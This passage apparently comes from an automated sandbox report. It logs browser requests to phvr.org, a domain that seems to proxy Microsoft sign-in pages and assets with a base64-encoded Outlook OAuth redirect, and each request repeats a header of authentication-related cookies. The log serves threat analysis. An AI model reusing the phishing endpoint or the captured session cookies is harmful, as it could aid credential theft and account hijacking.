https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQEAAAApTwJmzXqdR4BN2miheQMYmRah8zLuxzyyKzUVOPvvP2p9wXCcRabDo2vaDDZE2qalj5wSl3TTzqnWElYiB6HS7E8BfqUZxNsL0rSrdqwAqSzwCO1sGQ4woaCqmkJTY6fDAs_6O4OXkRKuuvzQ_Dtrfqc1gt2Kzyo9zLVRPaH41yAA; fpc=AlWXWngi0U1FhCT5sIeZshCerOTJAQAAALC-F94OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1Host: phvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQEAAAApTwJmzXqdR4BN2miheQMYmRah8zLuxzyyKzUVOPvvP2p9wXCcRabDo2vaDDZE2qalj5wSl3TTzqnWElYiB6HS7E8BfqUZxNsL0rSrdqwAqSzwCO1sGQ4woaCqmkJTY6fDAs_6O4OXkRKuuvzQ_Dtrfqc1gt2Kzyo9zLVRPaH41yAA; fpc=AlWXWngi0U1FhCT5sIeZshCerOTJAQAAALC-F94OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1Host: phvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQEAAAApTwJmzXqdR4BN2miheQMYmRah8zLuxzyyKzUVOPvvP2p9wXCcRabDo2vaDDZE2qalj5wSl3TTzqnWElYiB6HS7E8BfqUZxNsL0rSrdqwAqSzwCO1sGQ4woaCqmkJTY6fDAs_6O4OXkRKuuvzQ_Dtrfqc1gt2Kzyo9zLVRPaH41yAA; fpc=AlWXWngi0U1FhCT5sIeZshCerOTJAQAAALC-F94OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1Host: phvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQEAAAApTwJmzXqdR4BN2miheQMYmRah8zLuxzyyKzUVOPvvP2p9wXCcRabDo2vaDDZE2qalj5wSl3TTzqnWElYiB6HS7E8BfqUZxNsL0rSrdqwAqSzwCO1sGQ4woaCqmkJTY6fDAs_6O4OXkRKuuvzQ_Dtrfqc1gt2Kzyo9zLVRPaH41yAA; fpc=AlWXWngi0U1FhCT5sIeZshCerOTJAQAAALC-F94OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: phvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQEAAAApTwJmzXqdR4BN2miheQMYmRah8zLuxzyyKzUVOPvvP2p9wXCcRabDo2vaDDZE2qalj5wSl3TTzqnWElYiB6HS7E8BfqUZxNsL0rSrdqwAqSzwCO1sGQ4woaCqmkJTY6fDAs_6O4OXkRKuuvzQ_Dtrfqc1gt2Kzyo9zLVRPaH41yAA; fpc=AlWXWngi0U1FhCT5sIeZshCerOTJAQAAALC-F94OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_76bb127b5869a5c6b8b3.js HTTP/1.1Host: phvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQEAAAApTwJmzXqdR4BN2miheQMYmRah8zLuxzyyKzUVOPvvP2p9wXCcRabDo2vaDDZE2qalj5wSl3TTzqnWElYiB6HS7E8BfqUZxNsL0rSrdqwAqSzwCO1sGQ4woaCqmkJTY6fDAs_6O4OXkRKuuvzQ_Dtrfqc1gt2Kzyo9zLVRPaH41yAA; fpc=AlWXWngi0U1FhCT5sIeZshCerOTJAQAAALC-F94OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1Host: phvr.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQEAAAApTwJmzXqdR4BN2miheQMYmRah8zLuxzyyKzUVOPvvP2p9wXCcRabDo2vaDDZE2qalj5wSl3TTzqnWElYiB6HS7E8BfqUZxNsL0rSrdqwAqSzwCO1sGQ4woaCqmkJTY6fDAs_6O4OXkRKuuvzQ_Dtrfqc1gt2Kzyo9zLVRPaH41yAA; fpc=AlWXWngi0U1FhCT5sIeZshCerOTJAQAAALC-F94OAAAA; brcap=0
